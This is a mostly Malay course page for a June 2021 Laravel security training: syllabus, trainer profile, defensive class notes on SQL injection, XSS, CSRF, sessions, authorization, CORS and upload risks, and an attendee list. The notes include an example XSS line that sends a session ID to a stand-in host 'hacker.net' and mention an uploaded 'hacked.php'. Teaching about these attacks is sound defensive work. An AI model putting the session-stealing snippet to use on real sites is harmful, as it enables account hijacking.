Laravel Security
Jabatan Perkhidmatan Komputer Negeri Sabah
Tag : Laravel Security
Tarikh Kursus : 21 - 25 Jun 2021
Lokasi : Online (Aplikasi Zoom)
Pengenalan :

Kursus ini berkonsepkan "From Zero to Hero". Peserta dianggap pemula kepada bidang security dalam programming. Peserta seharusnya telah mempunyai asas SQL, PHP dan Laravel yang baik untuk mendapat hasil sepenuhnya dari kursus ini. Kursus ini khusus kepada keselamatan dari segi pengaturcaraan Laravel.
Tools yang akan digunakan didalam kelas ini adalah seperti berikut :-
- Laravel Framework 8
- Laragon Full versi 4.0
- PHP 7.4.*
- MySQL 5.7
- jQuery 3
- Twitter Bootstrap 5
- Visual Studio Code
- SQL Yog
- Composer
- Cmder
Dicadangkan PC yang akan digunakan ialah menggunakan Window 10 dengan RAM 8 Gb, dan kapasiti Storage yang Free sebanyak min 2 Gb
Syllabus
| Bil | Tajuk Modul | Status |
|---|---|---|
| 1. | Introduction - why IT security / web security |
DONE |
| 2 | SQL Injection - DB::raw() |
DONE |
| 3. | Cross Site Scripting (XSS) - {{ }} vs {!! !!} |
DONE |
| 4. | Cross Site Request Forgery (CSRF) - @csrf |
DONE |
| 5. | Cookies Protection - APP_KEY |
DONE |
| 6. | Session management | DONE |
| 7. | Authorization - Gate and Policy - Spatie |
DONE |
| 8. | Authentication - Default Auth - manual Auth - Throttle - Two factor authentication |
DONE |
| 9. | Validation - size, upload, .. |
DONE |
| 10. | Encryption - openssl_encryption |
DONE |
| 11. | API and CORS - Laravel Sanctum |
DONE |
| 12. | Input Cleaning / Filtering - request()->all() - Request (i.e BookingRequest), for validation and authorization - create(request()->all()) |
DONE |
| 13. | Password Hashing - Hash::make() - Hash::check() |
DONE |
| 14. | HTTPS - Apache setting |
DONE |
| 15. | CAPTCHA | DONE |
| 16. | Logging / Audit Trail | DONE |
Trainer Profile
![]() |
Nama : Azman bin Zakaria
|
|
Azman merupakan senior programmer yang passionate dalam bidang pengaturcaraan komputer dari awal mulai beliau bekerja pada tahun 2000 sehingga hari ini. Beliau mempunyai pengalaman bekerja yang luas di agensi kerajaan, swasta dan sebagai freelancer.
|
|
Notes
Source Code at Git Lab:
- https://gitlab.com/azman1204/lara-secure-jkns
- https://gitlab.com/azman1204/laraclient
create table bookings (
id INT NOT NULL primary key auto_increment,
book_dt DATE,
descr VARCHAR(255),
is_approved VARCHAR(1),
created_at DATETIME,
updated_at datetime
);
create table posts (
id int not null primary key auto_increment,
content text,
created_by int,
created_at datetime,
updated_at datetime
);
ALTER TABLE users ADD COLUMN dept VARCHAR(15) AFTER NAME;
ALTER TABLE users ADD COLUMN role VARCHAR(15) AFTER NAME;
Create New Project
- php 7.4
- create Laravel 8 project
> composer self-update
- see https://laravel.com/docs/8.x/installation
> composer global require laravel/installer
- install laravel installer
> laravel --version
Laravel Installer 4.2.7
> laravel new larasecure
- larasecure = nama project
- create Laravel 8, sebab latest laravel installer
buka browser, type larasecure.test
VSC - Visual Studio Code
Laravel Debugger
- github, barryvdh
- search: laravel debugger barryvdh
> composer require barryvdh/laravel-debugbar --dev
create database
- name : larasecure
create table
- migration
> php artisan migrate
- create table: users, ..
- bookings
create model
> php artisan make:model Booking
insert data / sql injection
- php artisan tinker
use \App\Models\Booking;
Booking::create(['book_dt' => '2021-06-21', 'descr' => 'Booking kereta xxx']);
- mass assignment
- protected $fillable = [column dlm table yg dibenarkan utk insert];
Create Controller
> php artisan make:controller BookingController
create()
- data boleh di manipulsi jika tidak berhati-hati
- apa solution ?
1. data yg. tak boleh di insert oleh pemohon, jangan masuk dlm $fillable
- admin kena guna teknik $booking->is_approved = $request->get('status');
2. request->only() ATAU request->except();
- baca data tertentu shj
3. validation
- Validator::make($input, $rules, $msg)
- request()->validate($rules)
- request class
- auto validate
> php artisan make:request BookingRequest
SQL Injection
- Laravel dah solve kan masalah ini dlm semua query, kecuali "Raw query"
DB :
1. Eloquent / model
2. Query Builder
- DB::raw()
Cross-Site Scripting (XSS)
- insert java script dalam data sistem
- web deface (defacing)
- identity stolen
- log masuk masuk sistem sbg org tertentu
inject ke dlm field "keterangan"
- Laravel auto handle XSS semasa paparan
{{ $var }} - selamat dari XSS
- {!! $var !!} - berbahaya / perlu berhati-hati
- <?= $var ?> OR <?php echo $var ?> , juga berbahaya
- Teknik unutk filtering data / remove script tag
preg_replace('pattern', '', $input);
htmlentities($var)
- inject pada form yg panjang field, i.e alamat
- var(100), text
Cross-Site Request Forgery (CSRF)
php -S localhost:8080
- run larahacker
Laravel autohandle CSRF
@csrf
- ..input name="_token" type="hidden" value="qtP6XoQO1xJOTiaeknZHugyW3HYNP4cRPKY1cYzI" ..
- ..input name="_token" type="hidden" value="HPtatwTzbItJM4gnJ2DVj2V9yvGA1WfD5dLpdfl3" ..
- csrf_token(), guna semasa submission guna Javasript / AJAX
X(cross) SS
- insert javascript
- curi data(session), cross, hantar balik ke server hacker
- location.href('hacker.net?sess=xxxxxx');
C(cross) SRF
session management dalam security penting untuk mengelakkan dari akaun di "hijack". Dengan menghapuskan session dengan sempurna, jika berlaku kes kecurian Cookie yang menyimpan session ID, hackers tetap tidak dapat log masuk ke sistem.
- simpan dalam Redis / memcache / text file
- session bahaya jika user logout, tetapi session tak clear / kill
- kemungkin certain masih boleh dilawati walau telah logout
session(['key' => 'val', ....])
session()->put('key', 'value')
session()->get('key')
session()->forget(['key',...])
- delete session
session()->flush()
- delete all session
Auth::logout();
- logout() tidak flush session
- session juga boleh disimpan dalam table database
- load balancing
Cookies Protection
- buat sistem baru, generate key baru
- Cookie encryption
- elak hacker nampak data dalam cookie
- cookie di encrypt menggunakan key dalam .env APP_KEY
> php artisan key:generate
base64:BzekdxQQEps8tqgu+FgLB4k7J8aQ1OL5ayuBY889gDc=
base64:WTfZMSDJheRR7eK0PVbAdLmnRHEdKd3xDjTsevZYnVw=
Gate and Policies (Authorization)
- see Laravel Documentation (https://laravel.com/docs/8.x/authorization)
- Gate - simple authorization
- Policies - for complex authorization
- see App\Providers\AuthServiceProvider
-
https://laravel.com/docs/8.x/starter-kits#laravel-breeze
https://laravel.com/docs/8.x/authentication
https://spatie.be/docs/laravel-permission/v4/introduction
> composer require spatie/laravel-permission
- add config/app.php
SpatieServiceProvider
> php artisan vendor:publish --provider="Spatie\Permission\PermissionServiceProvider"
> php artisan migrate
table:
1. model_has_permissions
2. model_has_roles
3. roles
4. role_has_permissions
Term:
1. Role
2. Permission
1 role boleh ada banyak permission
- i.e role=admin, permission=create user, update user, ...
> php artisan make:controller PermissionController

Middleware
- sample of middleware : can, auth, throttle (DDOS, Brute Force), CORS, Proxy,...
- location : App\Http\Middleware
- register middleware at : App\Http\Kernel.php (register middleware)
Category of Middleware (see in Kernel.php)
1. middleware
- auto run every request
2. middlewareGroup
- web
- api
3. routeMiddleware
- custom
create a new middleware, log every request
- LogRequest
Throttle Middleware
- sub topic : Rate Limiting
https://laravel.com/docs/8.x/routing
- 3 cubaan login, kalau x berjaya, cuba lg selepas 1 min
- Elak DDOS, Brute Force
Route::post('/auth', [UserController::class, 'auth'])->middleware('throttle:3,1');
Passport merupakan package Api yang menggunakan oAuth2 standard dan boleh dibandingkan dengan package Sanctum. Ianya sesuai untuk capaian kepada Api dan SPA.
- sanctum adalah subset kpd passport
- sanctum lebih mudah utk digunakan
- Auth = Authorization
- API / SPA
- oAuth2 vs Sanctum
- bila nak pakai oAuth
- bila kita share API dengan apliksi yg lain menggunakan standard teknik
- user bagi permission
- i.e google drive (host API)
- printing.com
- daftar jadi kepada drive.google.com
- user bg permission
Installation steps
1. >composer require laravel/passport
2. >php artisan migrate
3. >php artisan passport:install
4. modify user model, add use Laravel\Passport\HasApiTokens;
5. modify AuthServiceProvider
- add passport route
6. modify config/auth.php
- driver: passport (asal token)
7. request token
http://larasecure.test/oauth/token
body :
grant_type: password,
client_id :see oauth_clients.id,
client_secret : see oauth_clients.secret,
username: users.email,
password: users.password,
scope: null
8. http://larasecure.test/api/user
- Auth: brearer ...
- return logged in user
- php artisan route:list
CORS - Cross-Origin Resource Sharing
- It's about kebenaran capaian menggunakan Java Script / AJAX kepada resource di server / domain yang lain
- default permission: pada domain yg sama
contoh:
printing.com
- jenis kertas
- share (API - data / web - data, ui)
- json / XML / AJAX
- kebenaran : * / domain / sub-domain
souvenier.com
- laraclient.test
- ingin mencapai jenis-jenis kertas pada printing.com menggunakan AJAX / API
instllation step:
1. composer require fruitcake/laravel-cors
2. kernel.php
$middleware = [\Fruitcake\Cors\HandleCors::class]
3. config\cors.php
- path : [ "articles/list/all", ....]
- origins : ["laraclient.test"]
- > php artisan optimize
- clear cache
Bab ini membincangkan bahaya file upload dan cara-cara mengatasinya:
Teknik Validation
- images (png, jpg, gif, ...)
- dimana di upload
- storage/app/public => /public/storage/...
- > php artisan storage:link
- sym link / mirror
- beware : file ini boleh di call back melalui browser
http://larasecure.test/storage/images/hacked.php
Penyelesaian:
- letak dalam folder lain diluar www folder / server
- letak folder storage/app/subfolder
- script laravel utk download (script utk manage fail)
SoftDelete penting jika berlaku kejadian data dimanipulasi dan dihapuskan. Dengan softdelete, data boleh di restore semula.
soft delete
- implement pada semua model
- use softdeletes
- restore
- forcedelete()
- Query guna Eloquent vs Query Query Builder
- whereNotNull('deleted_at')
- withTrashed()
Contoh Code :
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class Post extends Model
{
use HasFactory, SoftDeletes;
}
CAPTCHA digunakan bagi mengelakan form di submit oleh robot.
- cadangan : Google reCaptcha v3
- tidak memerlukan pengguna klik pada gambar etc. seperti v2
Biasanya digunakan dalam Controller bagi merekodkan aktiviti pemprosesan yang berlaku.
Lokasi log file : storage/logs/laravel.log
Pelengkap kepada LogRequest yang merekodkan setiap aktiviti request / response yang berlaku. Jika berlaku status 500 = Server Error, boleh semak file log ini bagi perincian error
Logging File Level :
- info,
- warning,
- error,
- Critical
- Notice
- ..
Borang Penilaian Keberkesanan Latihan
Training evaluation ยท Laravel Security
Log in with the account you registered for this training to fill in the survey.
Log in to fill in the surveyAttendance
Students (14)
| # | Name |
|---|---|
| 1. | ELVIN MALIH |
| 2. | OLIVER JEWINLY |
| 3. | NOOR SHAZWANI BINTI AB TAIB |
| 4. | Mohd Nazrin Syahiran |
| 5. | Hanidah Abin |
| 6. | MOHD AZUAN BIN RIDWAN |
| 7. | DK.NURSAFINAH AK.MOHD SAID |
| 8. | Syaidahtul |
| 9. | Rahima Binti Ruddin |
| 10. | NURHAFIZA BINTI YAZULLA |
| 11. | JETLI CHUNG LI KUOT |
| 12. | Mohamad Hilmi Bin Jamleh |
| 13. | Ain Nadhilah Binti Paduka |
| 14. | HIERWAN @ MOHD IKRAM MURSHID |
